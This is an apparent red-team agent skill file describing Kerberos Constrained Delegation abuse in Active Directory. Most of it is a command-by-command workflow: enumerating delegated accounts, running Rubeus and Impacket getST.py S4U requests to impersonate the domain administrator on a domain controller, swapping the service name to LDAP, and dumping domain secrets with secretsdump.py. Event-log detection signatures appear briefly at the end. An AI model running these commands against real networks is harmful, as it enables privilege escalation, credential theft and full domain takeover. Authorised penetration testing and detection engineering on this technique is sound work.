| name | exploiting-constrained-delegation-abuse |
| description | Exploit Kerberos Constrained Delegation misconfigurations in Active Directory to impersonate privileged users via S4U2self and S4U2proxy extensions for lateral movement and privilege escalation. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | - red-team - active-directory - kerberos - constrained-delegation - s4u2proxy - privilege-escalation - lateral-movement |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | - Application Protocol Command Analysis - Network Isolation - Network Traffic Analysis - Client-server Payload Profiling - Network Traffic Community Deviation |
| nist_csf | - ID.RA-01 - GV.OV-02 - DE.AE-07 |
Exploiting Constrained Delegation Abuse
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.
When to Use
- When performing authorized security testing that involves exploiting constrained delegation abuse
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Enumerate accounts with Constrained Delegation configured in the domain
- Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
- Exploit S4U2self and S4U2proxy to impersonate Domain Admin
- Obtain service tickets for delegated services as a privileged user
- Access delegated services (CIFS, LDAP, HTTP) on target hosts
- Escalate to Domain Admin through Constrained Delegation abuse
MITRE ATT&CK Mapping
- T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket
- T1134.001 - Access Token Manipulation: Token Impersonation/Theft
- T1078.002 - Valid Accounts: Domain Accounts
- T1021 - Remote Services
Workflow
Phase 1: Enumerate Constrained Delegation
- Find accounts with Constrained Delegation using PowerView:
# Find users with Constrained Delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# Find computers with Constrained Delegation
Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# Using AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
- Using Impacket findDelegation.py:
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
- Using BloodHound CE:
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate
- Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):
# UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
Phase 2: Exploit with Rubeus (Windows)
- If you have the password or hash of the constrained delegation account:
# Request TGT for the constrained delegation account
Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
# Perform S4U2self + S4U2proxy to impersonate administrator
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /ptt
# Alternative: specify alternate service name
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
- Combined TGT request and S4U in single command:
Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
Phase 3: Exploit with Impacket (Linux)
- Request service ticket via S4U protocol extensions:
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
-dc-ip 10.10.10.1 domain.local/svc_sql
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass domain.local/[email protected]
Phase 4: Alternate Service Name Abuse
- Kerberos service tickets are not validated against the SPN in the ticket, allowing SPN substitution:
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-altservice LDAP/DC01.domain.local \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/[email protected]
- This technique works because the service name in the ticket is not cryptographically bound to the session key
Phase 5: Protocol Transition Attack
- If the account has TRUSTED_TO_AUTH_FOR_DELEGATION:
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
- Without TRUSTED_TO_AUTH_FOR_DELEGATION, S4U2self tickets are non-forwardable and S4U2proxy will fail (unless using Resource-Based Constrained Delegation)
Tools and Resources
| Tool | Purpose | Platform |
|---|
| Rubeus | S4U Kerberos ticket manipulation | Windows (.NET) |
| getST.py | S4U service ticket requests (Impacket) | Linux (Python) |
| findDelegation.py | Delegation enumeration (Impacket) | Linux (Python) |
| PowerView | AD delegation enumeration | Windows (PowerShell) |
| BloodHound CE | Visual delegation path analysis | Docker |
| Kekeo | Advanced Kerberos toolkit | Windows |
Delegation Types Comparison
| Type | Attribute | Scope | Attack Complexity |
|---|
| Unconstrained | TRUSTED_FOR_DELEGATION | Any service | Low (capture TGTs) |
| Constrained | msDS-AllowedToDelegateTo | Specific SPNs | Medium (S4U abuse) |
| Constrained + Protocol Transition | + TRUSTED_TO_AUTH_FOR_DELEGATION | Specific SPNs | Medium (no user auth needed) |
| Resource-Based (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | On target | Medium (writable attribute) |
Detection Signatures
| Indicator | Detection Method |
|---|
| S4U2self ticket requests | Event 4769 with unusual service and impersonation |
| S4U2proxy forwarded tickets | Event 4769 with delegation flags set |
| Alternate service name in ticket | Mismatch between requested SPN and actual service access |
| Rubeus.exe execution | EDR process detection, command-line logging |
| Delegation configuration changes | Event 5136 for msDS-AllowedToDelegateTo modifications |
Validation Criteria
